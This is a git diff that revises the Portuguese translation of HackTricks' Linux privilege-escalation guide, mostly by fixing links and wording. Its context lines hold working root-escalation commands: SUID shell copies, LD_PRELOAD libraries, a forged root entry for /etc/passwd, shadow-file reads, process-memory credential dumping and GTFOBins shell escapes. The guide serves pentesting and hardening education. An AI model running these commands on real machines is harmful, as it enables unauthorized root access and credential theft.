path**](privilege-escalation/index.html#suid-binary-with-command-path)? Contornar +- [ ] [**Vuln LD_PRELOAD**](privilege-escalation/index.html#ld_preload) +- [ ] [**Falta de biblioteca .so em binário SUID**](privilege-escalation/index.html#suid-binary-so-injection) de uma pasta gravável? +- [ ] [**Tokens SUDO disponíveis**](privilege-escalation/index.html#reusing-sudo-tokens)? [**Você pode criar um token SUDO**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)? +- [ ] Você pode [**ler ou modificar arquivos sudoers**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)? +- [ ] Você pode [**modificar /etc/ld.so.conf.d/**](privilege-escalation/index.html#etc-ld-so-conf-d)? +- [ ] Comando [**OpenBSD DOAS**](privilege-escalation/index.html#doas) -### [Capacidades](privilege-escalation/#capabilities) +### [Capacidades](privilege-escalation/index.html#capabilities) - [ ] Algum binário tem alguma **capacidade inesperada**? -### [ACLs](privilege-escalation/#acls) +### [ACLs](privilege-escalation/index.html#acls) - [ ] Algum arquivo tem alguma **ACL inesperada**? -### [Sessões de Shell Abertas](privilege-escalation/#open-shell-sessions) +### [Sessões de Shell Abertas](privilege-escalation/index.html#open-shell-sessions) - [ ] **screen** - [ ] **tmux** -### [SSH](privilege-escalation/#ssh) +### [SSH](privilege-escalation/index.html#ssh) -- [ ] **Debian** [**OpenSSL PRNG Previsível - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166) -- [ ] [**Valores de configuração interessantes do SSH**](privilege-escalation/#ssh-interesting-configuration-values) +- [ ] **Debian** [**OpenSSL PRNG Previsível - CVE-2008-0166**](privilege-escalation/index.html#debian-openssl-predictable-prng-cve-2008-0166) +- [ ] [**Valores de configuração interessantes do SSH**](privilege-escalation/index.html#ssh-interesting-configuration-values) -### [Arquivos Interessantes](privilege-escalation/#interesting-files) +### [Arquivos Interessantes](privilege-escalation/index.html#interesting-files) - [ ] **Arquivos de perfil** - Ler dados sensíveis? Escrever para privesc? - [ ] **Arquivos passwd/shadow** - Ler dados sensíveis? Escrever para privesc? @@ -128,16 +128,16 @@ - [ ] **Arquivos conhecidos que contêm senhas**: Use **Linpeas** e **LaZagne** - [ ] **Busca genérica** -### [**Arquivos Graváveis**](privilege-escalation/#writable-files) +### [**Arquivos Graváveis**](privilege-escalation/index.html#writable-files) - [ ] **Modificar biblioteca python** para executar comandos arbitrários? - [ ] Você pode **modificar arquivos de log**? Exploit **Logtotten** - [ ] Você pode **modificar /etc/sysconfig/network-scripts/**? Exploit Centos/Redhat -- [ ] Você pode [**escrever em arquivos ini, int.d, systemd ou rc.d**](privilege-escalation/#init-init-d-systemd-and-rc-d)? +- [ ] Você pode [**escrever em arquivos ini, int.d, systemd ou rc.d**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d)? -### [**Outras truques**](privilege-escalation/#other-tricks) +### [**Outras truques**](privilege-escalation/index.html#other-tricks) -- [ ] Você pode [**abusar do NFS para escalar privilégios**](privilege-escalation/#nfs-privilege-escalation)? -- [ ] Você precisa [**escapar de um shell restritivo**](privilege-escalation/#escaping-from-restricted-shells)? +- [ ] Você pode [**abusar do NFS para escalar privilégios**](privilege-escalation/index.html#nfs-privilege-escalation)? +- [ ] Você precisa [**escapar de um shell restritivo**](privilege-escalation/index.html#escaping-from-restricted-shells)? {{#include ../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 599ce2c3e..bef05d5e9 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -18,7 +18,7 @@ Se você **tiver permissões de escrita em qualquer pasta dentro da variável `P ```bash echo $PATH ``` -### Info do ambiente +### Informações do ambiente Informações interessantes, senhas ou chaves de API nas variáveis de ambiente? ```bash @@ -26,7 +26,7 @@ Informações interessantes, senhas ou chaves de API nas variáveis de ambiente? ``` ### Exploits de Kernel -Verifique a versão do kernel e se há algum exploit que possa ser usado para escalar privilégios. +Verifique a versão do kernel e se há algum exploit que pode ser usado para escalar privilégios. ```bash cat /proc/version uname -a @@ -73,9 +73,9 @@ De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg verificação de assinatura falhou +### Dmesg signature verification failed -Verifique a **caixa smasher2 do HTB** para um **exemplo** de como essa vulnerabilidade pode ser explorada +Verifique a **caixa smasher2 do HTB** para um **exemplo** de como essa vulnerabilidade pode ser explorada. ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Enumerar defesas possíveis +## Enumerar possíveis defesas ### AppArmor ```bash @@ -158,7 +158,7 @@ rpm -qa #Centos ``` Se você tiver acesso SSH à máquina, também pode usar **openVAS** para verificar se há software desatualizado e vulnerável instalado na máquina. -> [!NOTE] > _Observe que esses comandos mostrarão muitas informações que, na maioria das vezes, serão inúteis. Portanto, é recomendável usar algumas aplicações como OpenVAS ou similares que verificarão se alguma versão de software instalada é vulnerável a exploits conhecidos._ +> [!NOTE] > _Observe que esses comandos mostrarão muitas informações que, na maioria das vezes, serão inúteis; portanto, é recomendável usar algumas aplicações como OpenVAS ou similares que verificarão se alguma versão de software instalada é vulnerável a exploits conhecidos._ ## Processos @@ -168,21 +168,21 @@ ps aux ps -ef top -n 1 ``` -Sempre verifique se há possíveis [**electron/cef/chromium debuggers**] em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` dentro da linha de comando do processo.\ +Sempre verifique se há possíveis [**depuradores electron/cef/chromium**] em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` dentro da linha de comando do processo.\ Além disso, **verifique seus privilégios sobre os binários dos processos**, talvez você possa sobrescrever alguém. -### Monitoramento de processos +### Monitoramento de Processos Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis que estão sendo executados com frequência ou quando um conjunto de requisitos é atendido. -### Memória do processo +### Memória do Processo Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\ Normalmente, você precisará de **privilégios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso geralmente é mais útil quando você já é root e deseja descobrir mais credenciais.\ No entanto, lembre-se de que **como um usuário regular, você pode ler a memória dos processos que possui**. > [!WARNING] -> Note que atualmente a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode despejar outros processos que pertencem ao seu usuário não privilegiado. +> Note que atualmente a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode despejar outros processos que pertencem ao seu usuário sem privilégios. > > O arquivo _**/proc/sys/kernel/yama/ptrace_scope**_ controla a acessibilidade do ptrace: > @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para um dado ID de processo, **maps mostra como a memória está mapeada dentro do espaço de endereço virtual desse processo**; também mostra as **permissões de cada região mapeada**. O **mem** pseudo arquivo **expondo a memória dos processos**. A partir do arquivo **maps**, sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essas informações para **procurar no arquivo mem e despejar todas as regiões legíveis** em um arquivo. +Para um dado ID de processo, **maps mostra como a memória está mapeada dentro do espaço de endereços virtual desse processo**; também mostra as **permissões de cada região mapeada**. O **mem** arquivo pseudo **expondo a memória dos processos**. A partir do arquivo **maps**, sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essas informações para **procurar no arquivo mem e despejar todas as regiões legíveis** em um arquivo. ```bash procdump() ( @@ -342,7 +342,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys ``` **Se o caractere curinga for precedido de um caminho como** _**/some/path/\***_ **, não é vulnerável (mesmo** _**./\***_ **não é).** -Leia a página a seguir para mais truques de exploração de caracteres curinga: +Leia a página a seguir para mais truques de exploração de curingas: {{#ref}} wildcards-spare-tricks.md @@ -356,11 +356,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se o script executado pelo root usa um **diretório onde você tem acesso total**, talvez seja útil excluir essa pasta e **criar um diretório symlink para outro** que sirva um script controlado por você. +Se o script executado pelo root usa um **diretório onde você tem acesso total**, talvez seja útil deletar essa pasta e **criar um diretório symlink para outro** que sirva um script controlado por você. ```bash ln -d -s ``` -### Cron jobs frequentes +### Frequent cron jobs Você pode monitorar os processos para procurar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você possa aproveitar isso e escalar privilégios. @@ -380,12 +380,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Arquivos _.service_ graváveis -Verifique se você pode escrever em algum arquivo `.service`, se puder, você **poderia modificá-lo** para que **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\ +Verifique se você pode escrever em algum arquivo `.service`, se puder, você **poderia modificá-lo** para que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\ Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`** ### Binários de serviço graváveis -Tenha em mente que se você tiver **permissões de gravação sobre binários sendo executados por serviços**, você pode alterá-los para backdoors, de modo que quando os serviços forem reexecutados, os backdoors serão executados. +Tenha em mente que se você tiver **permissões de gravação sobre binários sendo executados por serviços**, você pode alterá-los para backdoors, de modo que, quando os serviços forem reexecutados, os backdoors serão executados. ### PATH do systemd - Caminhos Relativos @@ -399,21 +399,21 @@ ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Então, crie um **executável** com o **mesmo nome que o binário do caminho relativo** dentro da pasta PATH do systemd que você pode escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Iniciar**, **Parar**, **Recarregar**), seu **backdoor será executado** (usuários não privilegiados geralmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). +Então, crie um **executável** com o **mesmo nome que o caminho relativo do binário** dentro da pasta PATH do systemd que você pode escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Iniciar**, **Parar**, **Recarregar**), seu **backdoor será executado** (usuários não privilegiados geralmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). **Saiba mais sobre serviços com `man systemd.service`.** -## **Temporizadores** +## **Timers** -**Temporizadores** são arquivos de unidade systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Temporizadores** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monótono e podem ser executados de forma assíncrona. +**Timers** são arquivos de unidade systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Timers** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monótono e podem ser executados de forma assíncrona. -Você pode enumerar todos os temporizadores com: +Você pode enumerar todos os timers com: ```bash systemctl list-timers --all ``` -### Temporizadores graváveis +### Writable timers -Se você pode modificar um temporizador, pode fazê-lo executar algumas instâncias de systemd.unit (como um `.service` ou um `.target`) +Se você puder modificar um timer, pode fazê-lo executar algumas instâncias de systemd.unit (como um `.service` ou um `.target`) ```bash Unit=backdoor.service ``` @@ -446,7 +446,7 @@ Os sockets podem ser configurados usando arquivos `.socket`. **Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número da porta para escutar, etc.) -- `Accept`: Aceita um argumento booleano. Se **verdadeiro**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **falso**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é falso**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma maneira que seja adequada para `Accept=no`. +- `Accept`: Aceita um argumento booleano. Se **true**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **false**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é false**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma forma que seja adequada para `Accept=no`. - `ExecStartPre`, `ExecStartPost`: Aceita uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta são **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido por argumentos para o processo. - `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta são **fechados** e removidos, respectivamente. - `Service`: Especifica o nome da unidade de **serviço** **a ser ativada** no **tráfego recebido**. Esta configuração é permitida apenas para sockets com Accept=no. O padrão é o serviço que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção. @@ -481,7 +481,7 @@ socket-command-injection.md ### Sockets HTTP -Observe que pode haver alguns **sockets ouvindo por requisições HTTP** (_Não estou falando sobre arquivos .socket, mas os arquivos que atuam como sockets unix_). Você pode verificar isso com: +Observe que pode haver alguns **sockets ouvindo por requisições HTTP** (_não estou falando sobre arquivos .socket, mas os arquivos que atuam como sockets unix_). Você pode verificar isso com: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` @@ -536,7 +536,7 @@ Após configurar a conexão `socat`, você pode executar comandos diretamente no ### Outros -Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/#docker-group). Se a [**API do docker estiver escutando em uma porta**, você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`** você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**API do docker estiver escutando em uma porta** você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Verifique **mais maneiras de escapar do docker ou abusar dele para escalar privilégios** em: @@ -666,7 +666,7 @@ interesting-groups-linux-pe/ ### Clipboard -Verifique se há algo interessante localizado dentro da área de transferência (se possível) +Verifique se há algo interessante localizado na área de transferência (se possível) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -677,7 +677,7 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Política de Senha +### Política de Senhas ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` @@ -687,14 +687,14 @@ Se você **sabe alguma senha** do ambiente **tente fazer login como cada usuári ### Su Brute -Se você não se importar em fazer muito barulho e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar forçar a entrada de usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +Se não se importar em fazer muito barulho e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar forçar a entrada de usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta forçar a entrada de usuários. ## Abusos de PATH gravável ### $PATH -Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH. +Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios **criando uma porta dos fundos dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH. ### SUDO e SUID @@ -769,9 +769,9 @@ Essa técnica também pode ser usada se um **suid** binário **executar outro co ### Binário SUID com caminho de comando -Se o **suid** binário **executar outro comando especificando o caminho**, então, você pode tentar **exportar uma função** nomeada como o comando que o arquivo suid está chamando. +Se o binário **suid** **executar outro comando especificando o caminho**, então, você pode tentar **exportar uma função** nomeada como o comando que o arquivo suid está chamando. -Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você deve tentar criar a função e exportá-la: +Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_, você deve tentar criar a função e exportá-la: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -809,12 +809,12 @@ Então **compile-o** usando: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Finalmente, **escalando privilégios** executando +Finalmente, **escalar privilégios** executando ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Um privesc semelhante pode ser abusado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas. +> Um privesc semelhante pode ser explorado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas. ```c #include #include @@ -894,7 +894,7 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada [**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos em que você pode **apenas injetar argumentos** em um comando. -O projeto coleta funções legítimas de binários Unix que podem ser abusadas para sair de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar shells bind e reverse, e facilitar outras tarefas de pós-exploração. +O projeto coleta funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar shells bind e reverse, e facilitar outras tarefas de pós-exploração. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -911,7 +911,7 @@ https://gtfoargs.github.io/ ### FallOfSudo -Se você pode acessar `sudo -l`, pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se encontra como explorar qualquer regra do sudo. +Se você pode acessar `sudo -l`, pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se encontra uma maneira de explorar qualquer regra do sudo. ### Reutilizando Tokens Sudo @@ -924,7 +924,7 @@ Requisitos para escalar privilégios: - `cat /proc/sys/kernel/yama/ptrace_scope` é 0 - `gdb` é acessível (você pode ser capaz de carregá-lo) -(Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou modificando permanentemente `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) +(Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) @@ -998,7 +998,7 @@ zsh echo $PATH sudo ls ``` -## Biblioteca Compartilhada +## Shared Library ### ld.so @@ -1126,7 +1126,7 @@ Verifique a **caixa de Valentine do HTB** para um exemplo. Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\ Esse bug é causado ao criar uma nova chave ssh nesses sistemas operacionais, pois **apenas 32.768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh, você pode procurar pela chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### Valores de configuração interessantes do SSH +### Valores de configuração SSH interessantes - **PasswordAuthentication:** Especifica se a autenticação por senha é permitida. O padrão é `no`. - **PubkeyAuthentication:** Especifica se a autenticação por chave pública é permitida. O padrão é `yes`. @@ -1147,18 +1147,18 @@ Especifica arquivos que contêm as chaves públicas que podem ser usadas para au ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Essa configuração indicará que, se você tentar fazer login com a **chave privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`. +Essa configuração indicará que, se você tentar fazer login com a **chave privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`. ### ForwardAgent/AllowAgentForwarding -O encaminhamento de agente SSH permite que você **use suas chaves SSH locais em vez de deixar chaves** (sem senhas!) no seu servidor. Assim, você poderá **pular** via ssh **para um host** e, a partir daí, **pular para outro** host **usando** a **chave** localizada no seu **host inicial**. +O encaminhamento de agente SSH permite que você **use suas chaves SSH locais em vez de deixar chaves** (sem senhas!) armazenadas em seu servidor. Assim, você poderá **pular** via ssh **para um host** e, a partir daí, **pular para outro** host **usando** a **chave** localizada em seu **host inicial**. Você precisa definir essa opção em `$HOME/.ssh.config` assim: ``` Host example.com ForwardAgent yes ``` -Observe que se `Host` for `*`, toda vez que o usuário pular para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). +Observe que se `Host` for `*`, toda vez que o usuário mudar para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). O arquivo `/etc/ssh_config` pode **substituir** essas **opções** e permitir ou negar essa configuração.\ O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o encaminhamento do ssh-agent com a palavra-chave `AllowAgentForwarding` (o padrão é permitir). @@ -1188,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo `/etc/passwd` (ou equivalente) +Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo `/etc/passwd` (ou equivalente). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` @@ -1204,7 +1204,7 @@ Então adicione o usuário `hacker` e adicione a senha gerada. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Ex.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Você pode agora usar o comando `su` com `hacker:hacker` @@ -1216,12 +1216,12 @@ su - dummy ``` NOTA: Em plataformas BSD, `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso, o `/etc/shadow` é renomeado para `/etc/spwd.db`. -Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**? +Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Por exemplo, se a máquina estiver executando um servidor **tomcat** e você puder **modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/,** então você pode modificar as linhas: +Por exemplo, se a máquina estiver executando um **tomcat** server e você puder **modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/,** então você pode modificar as linhas: ``` ExecStart=/path/to/backdoor User=root @@ -1268,7 +1268,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binários no PATH** +### **Script/Binaries no PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1292,12 +1292,12 @@ Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalat ### Logs Se você puder ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais dentro deles**. Quanto mais estranho o log, mais interessante ele será (provavelmente).\ -Além disso, alguns logs de **auditoria** **"mal"** configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Além disso, alguns **logs de auditoria** "**mal**" configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Para **ler logs o grupo** [**adm**](interesting-groups-linux-pe/#adm-group) será realmente útil. +Para **ler logs o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil. ### Arquivos de shell ```bash @@ -1310,16 +1310,16 @@ Para **ler logs o grupo** [**adm**](interesting-groups-linux-pe/#adm-group) ser ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Pesquisa/Regex de Credenciais Genéricas +### Generic Creds Search/Regex -Você também deve verificar arquivos que contenham a palavra "**password**" em seu **nome** ou dentro do **conteúdo**, e também verificar IPs e emails dentro de logs, ou expressões regulares de hashes.\ +Você também deve verificar arquivos que contêm a palavra "**password**" em seu **nome** ou dentro do **conteúdo**, e também verificar IPs e emails dentro de logs, ou expressões regulares de hashes.\ Não vou listar aqui como fazer tudo isso, mas se você estiver interessado, pode verificar as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. -## Arquivos Graváveis +## Writable files -### Sequestro de Biblioteca Python +### Python library hijacking -Se você souber de **onde** um script python será executado e você **pode escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e criar um backdoor (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). +Se você souber **de onde** um script python será executado e **puder escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e criar um backdoor (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). Para **criar um backdoor na biblioteca**, basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT): ```python @@ -1358,7 +1358,7 @@ DEVICE=eth0 O diretório `/etc/init.d` é o lar de **scripts** para o System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart` e, às vezes, `reload` serviços. Esses podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. -Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais novo introduzido pelo Ubuntu, usando arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts do SysVinit ainda são utilizados juntamente com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. +Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais novo introduzido pelo Ubuntu, usando arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts do SysVinit ainda são utilizados juntamente com configurações do Upstart devido a uma camada de compatibilidade no Upstart. **systemd** surge como um gerenciador de inicialização e serviços moderno, oferecendo recursos avançados, como inicialização de daemon sob demanda, gerenciamento de automontagem e instantâneas do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações de administradores, simplificando o processo de administração do sistema. @@ -1370,7 +1370,7 @@ Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escapando de Shells restritas +### Escapando de Shells restritos {{#ref}} escaping-from-limited-bash.md diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index a499bb0b1..90b9e5097 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -33,7 +33,7 